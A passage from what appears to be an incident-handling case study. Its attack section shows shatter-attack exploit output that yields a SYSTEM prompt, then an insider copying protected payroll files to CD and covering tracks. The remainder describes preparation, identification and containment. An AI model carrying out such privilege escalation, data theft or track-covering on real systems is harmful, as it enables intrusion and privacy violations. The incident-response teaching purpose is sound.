Interactive switch specified
Verbose specified
Very verbose specified
Command to send to pipe (24 bytes):
cmd.exe
WinSta0\Default
Sending callback, window 0x39008a, address 0x300000
Sending callback, window 0x39008a, address 0x36ddd0
Sending callback, window 0x39008a, address 0x3dbba0
Sending callback, window 0x39008a, address 0x449970
Sending callback, window 0x39008a, address 0x4b7740
Sending callback, window 0x39008a, address 0x525510
Sending callback, window 0x39008a, address 0x5932e0
Sending callback, window 0x39008a, address 0x6010b0
Sending callback, window 0x39008a, address 0x66ee80
Sending callback, window 0x39008a, address 0x6dcc50
Sending callback, window 0x39008a, address 0x74aa20
Sending callback, window 0x39008a, address 0x7b87f0
WM_SETTEXT failed, window 1a019c
WM_SETTEXT failed, window 2101e8
WM_SETTEXT failed, window 1801ce
WM_SETTEXT failed, window 1a00d0
WM_SETTEXT failed, window 270102
WM_SETTEXT failed, window 1c00d8
WM_SETTEXT failed, window 22012e
WM_SETTEXT failed, window 22005c
WM_SETTEXT failed, window 1400ba
WM_SETTEXT failed, window 1200d4
WM_SETTEXT failed, window 340048
WM_SETTEXT failed, window 140060
WM_SETTEXT failed, window 260130
WM_SETTEXT failed, window 120096
WM_SETTEXT failed, window 24001c
WM_SETTEXT failed, window 100256
WM_SETTEXT failed, window 5200b4
WM_SETTEXT failed, window Be0046
WM_SETTEXT failed, window 1f017e
WM_SETTEXT failed, window f0258
WM_SETTEXT failed, window 5101a8
WM_SETTEXT failed, window 170186
WM_SETTEXT failed, window 100240
WM_SETTEXT failed, window 390072
WM_SETTEXT failed, window 100268
WM_SETTEXT failed, window 110238
WM_SETTEXT failed, window b026c
WM_SETTEXT failed, window 110246
WM_SETTEXT failed, window 150082
WM_SETTEXT failed, window 1c00d6
WM_SETTEXT failed, window 300098
WM_SETTEXT failed, window 1f011e
WM_SETTEXT failed, window 200152
WM_SETTEXT failed, window le0038
WM_SETTEXT failed, window 2a0030
WM_SETTEXT failed, window 130126
WM_SETTEXT failed, window 10026
WM_SETTEXT failed, window d022c
WM_SETTEXT failed, window 1f00a0
WM_SETTEXT failed, window 1e008e
WM_SETTEXT failed, window 200064
WM_SETTEXT failed, window 2200ce
WM_SETTEXT failed, window la00b2
WM_SETTEXT failed, window 1500de
Sending callback, window 0x1a00a2, address 0x300000
Sending callback, window 0x1a00a2, address 0x36dd00
Sending callback, window 0x1a00a2, address 0x36dbb0
Sending callback, window 0x1a00a2, address 0x449970
Sending callback, window 0x1a00a2, address 0x4b7740
Sending callback, window 0x1a00a2, address 0x525510
Sending callback, window 0x1a00a2, address 0x5932e0
Sending callback, window 0x1a00a2, address 0x6010b0
Sending callback, window 0x1a00a2, address 0x66ee80
Sending callback, window 0x1a00a2, address 0x66ec50
Sending callback, window 0x1a00a2, address 0x74aa20
Sending callback, window 0x1b0120, address 0x300000
Sending callback, window 0x1b0120, address 0x36dd00
Sending callback, window 0x1b0120, address 0x36dbb0
Sending callback, window 0x1b0120, address 0x449970
Sending callback, window 0x1b0120, address 0x4b7740
Sending callback, window 0x1b0120, address 0x525510
Sending callback, window 0x1b0120, address 0x5932e0
Sending callback, window 0x1b0120, address 0x6010b0
Sending callback, window 0x1b0120, address 0x66ee80
Sending callback, window 0x1b0120, address 0x66ec50
Sending callback, window 0x1b0120, address 0x74aa20
Sending callback, window 0x2400b8, address 0x300000
Sending callback, window 0x2400b8, address 0x36dd00
Sending callback, window 0x2400b8, address 0x36dbb0
Sending callback, window 0x2400b8, address 0x449970
Sending callback, window 0x2400b8, address 0x4b7740
Sending callback, window 0x2400b8, address 0x525510
Sending callback, window 0x2400b8, address 0x5932e0
Sending callback, window 0x2400b8, address 0x6010b0
Sending callback, window 0x2400b8, address 0x66ee80
Sending callback, window 0x2400b8, address 0x66ec50
Sending callback, window 0x2400b8, address 0x74aa20
Sending callback, window 0x2400b8, address 0x7b87f0
WM_SETTEXT failed, window la00fa
WM_SETTEXT failed, window la0106
WM_SETTEXT failed, window 2c003a
WM_SETTEXT failed, window 35003e
WM_SETTEXT failed, window le0040
WM_SETTEXT failed, window la010a
WM_SETTEXT failed, window ld009a
WM_SETTEXT failed, window la010e
WM_SETTEXT failed, window 1200dc
WM_SETTEXT failed, window le0128
WM_SETTEXT failed, window 1002e
10. And then my screen looks something like this:

Pay special attention to those ESS Windows – Oh! It looks like they have lost their captions! That’s because my exploit resets Windows headers to 0.

11. Now I have a system prompt, so here is what I do....

**Keeping Access**

Provided I don’t close the window giving me the prompt, I maintain the access of this window – which in this case is “System”. (This is because you see system32>). So, I continue
12. at the prompt provided type:  
\texttt{cd c:\Protected}

this will give me the prompt that follows:
\texttt{c:\Protected>}

13. Then I type dir

```
C:\Protected\dir
Volume in drive C is Local Disk
Volume Serial Number is 3C93-BF32

Directory of C:\Protected
02-02-04 08:16p  <DIR>   .
02-02-04 08:16p  <DIR>   .
02-02-04 08:14p  >--------> 948.736 April 2003.xls
02-02-04 08:14p  >--------> 948.736 February 2003.xls
02-02-04 08:14p  >--------> 948.736 January 2003.xls
02-02-04 08:14p  >--------> 948.736 June 2003.xls
02-02-04 08:14p  >--------> 948.736 March 2003.xls
02-02-04 08:14p  >--------> 948.736 May 2003.xls
02-02-04 08:14p  <DIR>   Reviews
02-02-04 08:14p  <DIR>   TimeOff
  6 File(s)
  5,692,416 bytes
4 Dir(s)
22,843,839,744 bytes free
C:\Protected>
```

Where once I could not even see the files, I now have a list of what I want. These dated Excel spreadsheets are probably the payroll tracking – and maybe I want to see the other evaluations probably filed in that Reviews directory to see how mine compares.

14. I may not want to read them here. But I can’t make a writable CD from the command prompt. So I go to my desktop Windows Explorer (without closing my command prompt window!) and create a file at c:\ called “my file”. I return to my command prompt window and I pop in a Writable CD to the drive then type \texttt{xcopy * c:\myfile /s /e /t}

This basic command tells the machine to copy all of the files and subdirectories that you see here, including the empty ones, and retain the directory structure to c:\myfile.

15. I then fire up my CD Writing application, select “Create Data Disk” and copy the myfile directory to the CD.

16. I take out my writable CD, and I am done! I can now peruse the files at my own leisure at home. I could have used e-mail to send them to myself, but that might be monitored on the network.

Total time to target: under 4 minutes. (This will vary depending on options set in Smashing and the type of CD burner employed. The main length of time to finish this scenario was the burning of the CD.)
Covering my Tracks:
It’s a local system. I have not accessed anything over the network, I have only used local tools. I delete the C:\Myfile directory. I empty the recycle bin. I close my “targeted” window, and go back to working on the memo I’m supposed to be typing. There are very little tracks to cover!

I take the files home and start reviewing: not only am I not paid nearly what the other assistants make, the CEO’s Administrative Assistant is paid twice what the other Assistant is paid. The Financial team’s payscale also seems out of whack. Looking at the vacation sheets, I note that several people also get an extra week of vacation. I wonder if anyone knows this besides me?

The next day, I ask around. It turns out that very few of the “victims” who have less pay or less vacation knew that their situation was not on par with everyone else’s. Now there seemed to be a lot of closed door meetings occurring with supervisors. I don’t care, it’s Friday, and I am going home.

The Incident Handling Process

Now the system has been compromised. What happens now? The incident handling process includes six phases – preparation, identification, containment, eradication, recovery and follow-up/lessons learned. Along the way, communication with the CEO will be a vital component of the investigation. In a case like this, where the primary incident handler is not a member of the company, the CEO and Network Administrator may make difficult decisions based on my recommendations. It is important that I stay calm, and can respond to their questions and concerns in a competent and collected manner. This will increase their confidence in the cycle and in their own decisions, so I must communicate clearly my positions, but in the end follow their instructions.

Phase 1: Preparation

The preparation phase of handling an incident is used to ensure that the company has the resources to properly respond to an incident. This may include things like warning banners, physical security, incident response plans, and patch rollout practices – anything that can help minimize risks within the organization. While the target organization in the example did not have much in the way of Incident Handling experience, there were some things that they DID do pretty well.

Policy

In late 1999, there were policies and procedures put in place for the operation of the computers and the network. Most of these policies and procedures were fairly generic, coming from templates and resources out of commercially available products:

Included as part of the policy is a Software Policy and Employee Agreement (protection against pirated software), a Electronic Messaging Policy (privacy for corporate messaging and appropriate use of electronic messaging system), a Acceptable Use/Ethics Policy (covers restraint in the consumption of shared resources, gaming, ethical and honest use of company property), and a banner that reminds the users every time they log into the system that the system is “strictly for business purposes” and that “the company retains the right to monitor the content of electronic transmission at random intervals.” In addition, the banner reminds that the information on the system itself may be recorded, read or disclosed for official purposes, and that access or use of the system constitutes consent to the banner. The banner is executed through a batch file in the startup process.

There is a password policy in place (which means that it is written down as part of the Information Policies), but no method of enforcement.

In addition, as part of a (somewhat old) attempt to educate end users, guidelines for employees were provided as part of the Personnel Policy and Handbook that is distributed to each employee, and for which each employee must sign as a term of their continued employment.

There was no official policy for handling computer incidents, other than notifying the CEO and Human Resources (in this case, the CEO’s assistant) in the event of breaches or “situations” involving employees. (In this case, they were following the “unwritten” policy which SANS teaches in class – don’t tell anyone anything!)

The physical security plan consisted of badge authentication into the building.

People

A computer network is only as secure as the people working on it. Background checks of employees consisted of calling the references that were provided during the interview process.

The “IT staff” consisted of the Network Administrator, whose duties included maintaining the Windows 2000 server, router, and firewall, as well as all the workstations for the company. He was the “jack of all trades” and maintained the phone systems as well as the copier and fax. In addition, he was the Point of Contact for the ISP, and was responsible for ensuring data integrity and availability through the backup schedule. He wears a pager all the time, serving in perpetual “on call” mode.
Data

The “critical network data” is backed up once a week on Saturday nights to tape. Tapes are in rotation with 5 tapes for each month – each month one tape goes into a safe deposit box and a new tape is entered into the rotation. Storage on-site is done within a fireproof safe. The weekly backups are full backups. There are no daily or incremental backups being done. It is the employee’s responsibility to copy to the server critical files that should be backed up every Friday. For most workstations, this is accomplished through a batch file that copies critical directories to a mapped networked drive.

All machines are connected to their own UPS, due to unpredictable power fluctuations in the area.

Standard system administration practices would include staying abreast of the latest patches for the systems in place. When inquiring about why they were still at SP3 instead of SP4 for Win2K, the answer was that it took too long to download over the shared modem, and that since everything worked well it wasn’t necessary.

Software/Hardware

A full system inventory of both hardware and software was last conducted about 6 months prior to the incident. The company used BSA’s GASP Audit Tool to help them in their inventories. This tool performs baseline inventories of hardware and peripherals, as well as software. Reports from this tool are imported and manipulated into spreadsheets for ongoing maintenance by the Network Administrator.

Communications

The company is small and located on one floor of a single building. In order to alleviate any network emergencies, a call tree was established in which the on-site employee could call the Network Administrator’s pager, who would then respond with a return call.

There is also an “IT Consulting Service” on call that would charge hourly rates for any rapid response to the company required. However, this is the same service that built the hardware, so for hardware support they were a critical part of the communications tree.

Supplies

Since there was no Incident Handling Process documented, we relied on the supplies that the Network Admin had on hand: several portable USB flash drives, a portable printer, and Ghost
In addition, we had available anything that I had in my “jump kit”. This kit is what Incident Handlers use at the first sign of an Incident – they can grab it and know that it is fully stocked.

The following is standard inventory:

<table>
<thead>
<tr>
<th>Item</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>Panasonic RQ-L11 Mini Tape recorder, 10 blank tapes, 8 spare batteries</td>
<td>Incident Tracking and recording of actions taken</td>
</tr>
<tr>
<td>Two blank notebooks, 4 spare pens</td>
<td>Each incident gets its own notebook assigned for analysts and handler’s notes</td>
</tr>
<tr>
<td>Canister of blank writable CDs and jewel cases</td>
<td>Evidence collection &amp; backup</td>
</tr>
<tr>
<td>Blank diskettes</td>
<td>Evidence collection &amp; backup</td>
</tr>
<tr>
<td>USB pen device</td>
<td>Evidence collection &amp; backup</td>
</tr>
<tr>
<td>Portable CD writer, software, associated cables</td>
<td>Evidence collection &amp; backup</td>
</tr>
<tr>
<td>Symantec’s Ghost and images of production workstations</td>
<td>For rebuilding Windows 2000 workstations</td>
</tr>
<tr>
<td>Windows 2000 Resource Kit</td>
<td>For information on Windows 2000/associated source code/etc.</td>
</tr>
<tr>
<td>4 port hub with patch cables and one crossover cable</td>
<td>For connectivity to machines as needed</td>
</tr>
<tr>
<td>Basic Toolkit (contents described below)</td>
<td>For fixing</td>
</tr>
<tr>
<td>Basic Connector Bag (contents described below)</td>
<td>For connectivity issues on the fly</td>
</tr>
<tr>
<td>Windows diskette with basic tools (same as command line processes on CD)</td>
<td>For accessing Windows machines</td>
</tr>
<tr>
<td>Incident Response Forms</td>
<td>Standard Incident Response Procedure</td>
</tr>
<tr>
<td>Plastic bags, ties, latex gloves</td>
<td>Evidence preservation</td>
</tr>
</tbody>
</table>

**Basic Connector Bag Contents**

- Auto-retract modem cord
- Auto-retract network/ISDN cord
- Punchdown tool with both 66 and 110 blades
Scissors
Wire Strippers
Toner
Digital line tester
Jack splitter
RJ45 Connectors
Female-to-female RJ-45 connectors
Cabling guide to pinouts

Basic Toolkit Contents
#1 Phillips Screwdriver
#0 Phillips Screwdriver
3/16" Nut Driver
1/4" Nut Driver
3/16" Flat Screwdriver
1/8" Flat Screwdriver
IC Extractor
Large tweezers
Small tweezers
5" Needle Nose Pliers
Reversible Handle with #10 and #15 Reversible Torx Bit
Spare Parts Box with jumpers, washers, hex and flat screws
Small dentists mirror (for looking behind small spaces)
Small magnet with handle
Flashlight with extra batteries
Three Prong Holder

Windows Response CD

<table>
<thead>
<tr>
<th>Program</th>
<th>Description</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>cmd.exe</td>
<td></td>
<td></td>
</tr>
<tr>
<td>\other\oldmsdos</td>
<td>Old DOS commands</td>
<td>off of trusted Win95 CD</td>
</tr>
<tr>
<td>netstat</td>
<td>Display network status, including routing and sockets</td>
<td>from Microsoft Win2K Resource Kit</td>
</tr>
<tr>
<td>nbstat</td>
<td>Lists recent NetBIOS activity</td>
<td>from Microsoft Win2K Resource Kit</td>
</tr>
<tr>
<td>rmtshare</td>
<td>Display shares accessible on remote machine</td>
<td>from Microsoft Win2K Resource Kit</td>
</tr>
<tr>
<td>kill</td>
<td>Stops running processes</td>
<td>from Microsoft Win2K Resource Kit</td>
</tr>
<tr>
<td>doskey</td>
<td>Displays command history</td>
<td>from Microsoft Win2K Resource Kit</td>
</tr>
</tbody>
</table>

Tools & Security Vulnerability CD

<table>
<thead>
<tr>
<th>Snort</th>
<th>Open-source</th>
<th><a href="http://www.snort.org">www.snort.org</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>Tool</td>
<td>Description</td>
<td>URL</td>
</tr>
<tr>
<td>----------------------</td>
<td>-----------------------------------------------------------------------------</td>
<td>----------------------------</td>
</tr>
<tr>
<td>nmap</td>
<td>Scan systems for open ports</td>
<td><a href="http://www.insecure.org/nmap">http://www.insecure.org/nmap</a></td>
</tr>
<tr>
<td>WinZip</td>
<td>for unzipping compressed files</td>
<td><a href="http://www.winzip/ddchomea.htm">http://www.winzip/ddchomea.htm</a></td>
</tr>
<tr>
<td>ESS-Code</td>
<td>for MIME-decoding, UUDecoding files if necessary</td>
<td>Hard to find these days – a throwback to earlier times!</td>
</tr>
<tr>
<td>Adobe Acrobat Reader</td>
<td>For reading manuals, documentation when necessary</td>
<td><a href="http://www.adobe.com/products/acrobat/readstep2.html">http://www.adobe.com/products/acrobat/readstep2.html</a></td>
</tr>
<tr>
<td>Perl</td>
<td>Scripting language</td>
<td><a href="http://www.activestate.com/Products/ActivePerl/">http://www.activestate.com/Products/ActivePerl/</a></td>
</tr>
<tr>
<td>Netcat</td>
<td>Remote analysis tool</td>
<td><a href="http://www.atstake.com">http://www.atstake.com</a></td>
</tr>
</tbody>
</table>

In addition to the jump bag, I have my own laptop which is stocked with its own modem/LAN/wireless ports, and comes stocked with my own fully patched operating system, virus scanner, Microsoft Office, and Microsoft Tool Kit.
**Documentation**

This is where the network diagram, the information on the software and hardware inventory, and policies became very important! In order to quickly assess a network, up to date information on the components that is easily accessible is critical. The fact that the hardware and software inventories were kept in soft copy were an asset because electronic access to the systems were not required to get the high-level view of the network.

Documentation of the ISP Technical contact is requested in case that it is needed.

In addition, we followed standard chain-of-custody procedure, which included documenting:
- Who, How, and Where of collection
- Who took possession of the evidence
- How it was stored and protected
- Who, How, and Why of removal from storage

Documentation in a notebook is started. In general, we will document the sequence of actions taken and who performed them.

Right now, we record
- What time we arrive on site
- Systems currently on are inventoried, including their current level of connectivity, their network address, the system name, the MAC address, and the location of each system

Further recording will continue throughout the incident handling process. To call attention to something in particular, the notes taken will be indicated in blocks throughout the phases.

**Phase 2: Identification**

This phase is when an organization determines whether an incident is, in fact, occurring. A quick assessment of situations where something unusual happens is necessary to determine if additional investigation is necessary. The security of a system is determined by early detection and proper reaction.

Unfortunately, the identification of an insider threat in many cases occurs after the threat has come and gone. In this case, the posting of “confidential” data in the public eye became the notification that something was wrong. During this phase, an assessment of the threat is done to discover what the impact to the company may be. I was called on a Friday – could I stop by Monday to assess the situation? No. It would be Friday night. Even if the data exposure was a contained event, it is time to see what the scope of the incident is. Since the CEO and Network Administrator already knew about the data revelations (as did the entire company), nobody was surprised that an investigation was underway.
As the data in question is fairly self-contained (it was either retrieved from a backup CD or from the victim machine) it is time to do an internal threat assessment.

During the Incident Handling process, the people involved are: the CEO, the Network Administrator, and the Admin Assistant to the CEO, in addition to the Incident Handler. All three of the people involved are trusted individuals at the company who have proven again and again their dedication to the company. They are the company “insiders” who are the ones the CEO (and owner) consider to be the secure employees. None of them are a suspect.

**Threat Assessment**

*Have background checks been performed on all employees?* (None beyond what references say about them.)

*What are the work habits of the employees?* (Every day Receptionist fills in for Assistant from 12 – 1:00 for lunch. Assistant logs out of the machine and Receptionist logs in. Fridays, Assistant backs up data and leaves CD on CEO’s desk. If the CEO remembers to take the CDs, they are in his car or his office at home; but sometimes they remain on his desk for a few days, especially if he is traveling at the time.)

*An after-hours visit is performed to see what is on/around desks of the employees.*

Nothing is out of the ordinary. There don’t seem to be any removable storage devices, and there is no actual suspect at this time.

*An inventory of backup CDs is performed to ensure that all are where they should be.* The data posted included the very latest data – which means the last CD needs to have been the point of entry if it was retrieved from the backups. All CDs are accounted for at the CEOs house. He remembers taking it home on Friday evening.

It’s time to review the target machine and the network to find holes and access points to the data.

**Current activity on the systems needs to be recorded.**

Each currently connected system runs `netstat -an` and the results are printed to a file to evaluate current connections. All open files on the systems are recorded and task manager is opened: all open applications and processes for each machine is recorded.

Task manager can be opened by right clicking on the status bar at the bottom of a Windows system and selecting “Task Manager.” This will bring up a window, and by clicking on the tabs at the top of the screen, certain information can be discovered. In this case, we simply took screen shots of each of the tabs on the running systems, which resulted in records similar to this:
<table>
<thead>
<tr>
<th>Image Name</th>
<th>PID</th>
<th>CPU</th>
<th>CPU Time</th>
<th>Mem Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Idle Process</td>
<td>0</td>
<td>0</td>
<td>1:19:38</td>
<td>16 K</td>
</tr>
<tr>
<td>System</td>
<td>8</td>
<td>0</td>
<td>0:00:13</td>
<td>212 K</td>
</tr>
<tr>
<td>SMSS.EXE</td>
<td>172</td>
<td>0</td>
<td>0:00:00</td>
<td>396 K</td>
</tr>
<tr>
<td>WINLOGON.EXE</td>
<td>192</td>
<td>0</td>
<td>0:00:01</td>
<td>5,136 K</td>
</tr>
<tr>
<td>CSRSS.EXE</td>
<td>196</td>
<td>0</td>
<td>0:00:08</td>
<td>2,896 K</td>
</tr>
<tr>
<td>SERVICES.EXE</td>
<td>244</td>
<td>0</td>
<td>0:00:00</td>
<td>7,376 K</td>
</tr>
<tr>
<td>LSASS.EXE</td>
<td>256</td>
<td>0</td>
<td>0:00:00</td>
<td>2,192 K</td>
</tr>
<tr>
<td>bmpmsvc.exe</td>
<td>360</td>
<td>0</td>
<td>0:00:00</td>
<td>1,320 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>424</td>
<td>0</td>
<td>0:00:00</td>
<td>4,652 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>468</td>
<td>0</td>
<td>0:00:00</td>
<td>9,424 K</td>
</tr>
<tr>
<td>spoolsv.exe</td>
<td>516</td>
<td>0</td>
<td>0:00:00</td>
<td>5,224 K</td>
</tr>
<tr>
<td>AGRSMSG.exe</td>
<td>528</td>
<td>0</td>
<td>0:00:00</td>
<td>1,672 K</td>
</tr>
<tr>
<td>rsstatus.exe</td>
<td>548</td>
<td>0</td>
<td>0:00:00</td>
<td>4,132 K</td>
</tr>
<tr>
<td>at2evxx.exe</td>
<td>596</td>
<td>0</td>
<td>0:00:00</td>
<td>1,520 K</td>
</tr>
<tr>
<td>AuVdc.exe</td>
<td>624</td>
<td>0</td>
<td>0:00:00</td>
<td>11,060 K</td>
</tr>
<tr>
<td>Crspsv.exe</td>
<td>656</td>
<td>0</td>
<td>0:00:00</td>
<td>1,748 K</td>
</tr>
<tr>
<td>DefWatch.exe</td>
<td>668</td>
<td>0</td>
<td>0:00:00</td>
<td>1,644 K</td>
</tr>
<tr>
<td>instask.exe</td>
<td>696</td>
<td>0</td>
<td>0:00:00</td>
<td>5,404 K</td>
</tr>
<tr>
<td>ntaskd.exe</td>
<td>708</td>
<td>0</td>
<td>0:00:00</td>
<td>6,224 K</td>
</tr>
<tr>
<td>rstate.exe</td>
<td>716</td>
<td>0</td>
<td>0:00:01</td>
<td>9,924 K</td>
</tr>
<tr>
<td>ntdll.exe</td>
<td>908</td>
<td>0</td>
<td>0:00:00</td>
<td>1,056 K</td>
</tr>
<tr>
<td>Rvscan.exe</td>
<td>920</td>
<td>01</td>
<td>0:00:18</td>
<td>11,952 K</td>
</tr>
<tr>
<td>NPROTECT.EXE</td>
<td>936</td>
<td>0</td>
<td>0:00:00</td>
<td>3,456 K</td>
</tr>
<tr>
<td>QCONVEXC.EXE</td>
<td>996</td>
<td>0</td>
<td>0:00:00</td>
<td>2,824 K</td>
</tr>
<tr>
<td>regsvc.exe</td>
<td>1020</td>
<td>0</td>
<td>0:00:00</td>
<td>1,164 K</td>
</tr>
<tr>
<td>NOPDB.EXE</td>
<td>1080</td>
<td>0</td>
<td>0:00:00</td>
<td>3,584 K</td>
</tr>
<tr>
<td>WINWORD.EXE</td>
<td>1088</td>
<td>0</td>
<td>0:01:24</td>
<td>29,128 K</td>
</tr>
<tr>
<td>vpnglves.exe</td>
<td>1120</td>
<td>0</td>
<td>0:00:00</td>
<td>3,048 K</td>
</tr>
<tr>
<td>logd.exe</td>
<td>1152</td>
<td>01</td>
<td>0:00:00</td>
<td>3,412 K</td>
</tr>
<tr>
<td>enroute.exe</td>
<td>1160</td>
<td>0</td>
<td>0:00:00</td>
<td>5,104 K</td>
</tr>
<tr>
<td>wanmpsvc.exe</td>
<td>1212</td>
<td>0</td>
<td>0:00:00</td>
<td>2,948 K</td>
</tr>
<tr>
<td>Windmgt.exe</td>
<td>1244</td>
<td>0</td>
<td>0:00:02</td>
<td>216 K</td>
</tr>
<tr>
<td>MsPMSPv.exe</td>
<td>1280</td>
<td>0</td>
<td>0:00:00</td>
<td>2,164 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>1292</td>
<td>0</td>
<td>0:00:00</td>
<td>7,360 K</td>
</tr>
<tr>
<td>TPHKMgr.exe</td>
<td>1312</td>
<td>0</td>
<td>0:00:00</td>
<td>2,040 K</td>
</tr>
<tr>
<td>explorer.exe</td>
<td>1552</td>
<td>01</td>
<td>0:00:05</td>
<td>4,696 K</td>
</tr>
<tr>
<td>SynTPEnh.exe</td>
<td>1590</td>
<td>0</td>
<td>0:00:00</td>
<td>3,249 K</td>
</tr>
<tr>
<td>SynTPLPr.exe</td>
<td>1640</td>
<td>0</td>
<td>0:00:00</td>
<td>1,544 K</td>
</tr>
<tr>
<td>prpcui.exe</td>
<td>1656</td>
<td>0</td>
<td>0:00:00</td>
<td>1,672 K</td>
</tr>
<tr>
<td>VPray.exe</td>
<td>1696</td>
<td>0</td>
<td>0:00:00</td>
<td>4,144 K</td>
</tr>
<tr>
<td>qttask.exe</td>
<td>1704</td>
<td>0</td>
<td>0:00:01</td>
<td>6,500 K</td>
</tr>
<tr>
<td>rstate.exe</td>
<td>1712</td>
<td>0</td>
<td>0:00:00</td>
<td>7,032 K</td>
</tr>
<tr>
<td>nnotes.exe</td>
<td>1760</td>
<td>0</td>
<td>0:00:05</td>
<td>3,500 K</td>
</tr>
<tr>
<td>Vmsg_tray.exe</td>
<td>1780</td>
<td>0</td>
<td>0:00:00</td>
<td>1,792 K</td>
</tr>
<tr>
<td>taskmgr.exe</td>
<td>1828</td>
<td>0</td>
<td>0:00:00</td>
<td>3,052 K</td>
</tr>
</tbody>
</table>

All screenshots are recorded with system name, location, time and date of screenshot.
as well as the person recording the information. They are saved to a file and one copy of the file is burned to CD and locked up with the backup tapes.

The following checklist was used to evaluate the current state of the systems – was there evidence of any of the following?

- Unsuccessful logons
- After hours activity
- Modification or deletion of data
- New user accounts
- New files or filenames

Identification phase would typically take place at the perimeter – firewall logs are investigated for any unusual activity. Host detection is also a place to start, although there are no Host IDS or Network IDS in place. However, the Network Administrator did take some steps on the CEO and the Admin's computer that were different than the standard desktop scenario – the auditing of Windows logs and transactions tracked had been set to success/failure for most events. This means that the logs had additional information than what would be typically found on a desktop. Hooray!

Investigation of suspect issues

Since the operating system of the machines are at SP3 of Windows 2000, an analysis of vulnerabilities that would be common to all machines needs to be done. Vulnerabilities are referenced off of CVE codes, BugTraq database and Microsoft’s release notes on the SP 4. The platform affected by these vulnerabilities is prevalent throughout the organization. According to Microsoft’s List of Bugs That Are Fixed in Windows 2000 Service Pack 4, there are 679 bug fixes in Service Pack 4. Since all the machines are a rev level behind, this seems like a good place to start. Once the Windows investigation is over, other software, such as VirusScan will be checked against the BugTraq database.

Of the bug fixes, about 100 show up in the “security” category. However, it is important to check the entire list since not everything security related shows in this category. The list is “Googled” by the Admin Assistant to find the appropriate references and decide whether the bugs represent vulnerabilities on the system. She makes a quick decision as to whether it applies to our environment, checking key words within descriptions and marking Y or N or ? on the list. The containment phase (phase two) starts and continues throughout the research portion. See Appendix B for the matrix of possible entrant vulnerabilities that were flagged. When appropriate vulnerabilities are found, the basic questions are asked: what are the affects of this vulnerability, does it have a remote access point, and is there code available to the public at large to exploit the vulnerability?
In addition, the ability to identify the entrant point became more obvious as the company went through steps to contain the incident.

**Phase 3: Containment**

The containment phase is to ensure the incident cannot get worse. Can additional data be accessed? Is the access still going on? While performing this phase, we will use some of the tools listed in the jumpkit during the Preparation phase.

**Containment: Connections**

The firewall status is checked and it shows no current connections. It is after hours, and there should be no external access from the Internet, so the firewall is shut down to ensure that no incoming/outgoing connections are activated. Research on vulnerabilities is conducted on dial-up analog lines off laptop computers not connected to the LAN, so there is no way for them to affect the evidence that may be in play.

Record the decision to disconnect the firewall and the time it was disconnected

**Containment: Physical Access**

It is after-hours, and the area is secured. The only people allowed in/out at this time are the Incident Handler, the Network Administrator, the Admin Assistant, and the CEO.

**Containment: Backing it all up**

The network is now contained, so backups of all functioning systems are conducted with Ghost to a USB drive. There are three systems currently powered on: the CEO’s desktop, the Admin’s desktop, and the Network Administrator’s laptop. We’ll start the investigation with those, since those are on – everything else we can power on and backup individually as the incident progresses. Two backups of each system are taken: one for evidence – these are logged and immediately locked in the firesafe. The second backup is in case our investigation leads to a “self destruct” or some effort of the attacker to hide tracks on the system. The second backup is done to the network server. In addition two backups are made of the server using the backup system in place: one is placed with the evidentiary backups, the other is maintained for our use in the investigation.

Now we have three USB backups, a tape backup, and 3 backups on the network server.

Record system backup statistics: who performed, date and time of start and stop, where
backups were sealed and stored.

Further Investigation

First, the “owners” of the three systems under evaluation were questioned:

- When was the last time their passwords were changed?
  Each of them responded within the past 30 days. Passwords are the primary authentication method within the office, it is possible something was compromised. Each user is asked to change passwords, and the Network Admin is requested to change the Administrator passwords on these systems as well.
- What shares are open?
  The Network Admin has shares open to the fileserver. Both the CEO and the Admin Assistant have the share open to their own backup directory on the server.
- What can the systems tell us?
  - Since the Network Admin had additional audit logs available on the systems currently powered on, all those audit logs are immediately saved to a file and printed – one set of printouts is logged as evidence and stored in the firesafe. Because they have been saved to a file, we ensure that they do not rotate and eliminate the risk of losing data during the investigation. The logs are printed to a local printer via the portable printer, if there is no printer currently attached to the machines.
  - Had anything unusual happened recently that would lead them to suspect their machines were the entry point?
    No. The Network Administrator hadn’t even gone to lunch in days. The CEO’s machine had been powered down until Friday, he had been traveling. The Admin Assistant had been at her desk almost all day all week, except for lunchtimes when the receptionist filled in. None of them had noted unusual behavior on the systems – no account lockouts, no odd user names in the window at logon, no system slowness or unusual behavior.

Record system log information: who performed the print and save functions, date and time, where logs were sealed and stored, who handled.

What Windows Event Log Reveals

Reviewing the logs was not very interesting until we noted the following strange entries in the Security logs from the Admin Assistant machine:

<table>
<thead>
<tr>
<th>Event ID</th>
<th>Date/Time</th>
<th>Source</th>
<th>Event Class</th>
<th>Event ID</th>
<th>Event ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>562</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>562</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>562</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>562</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
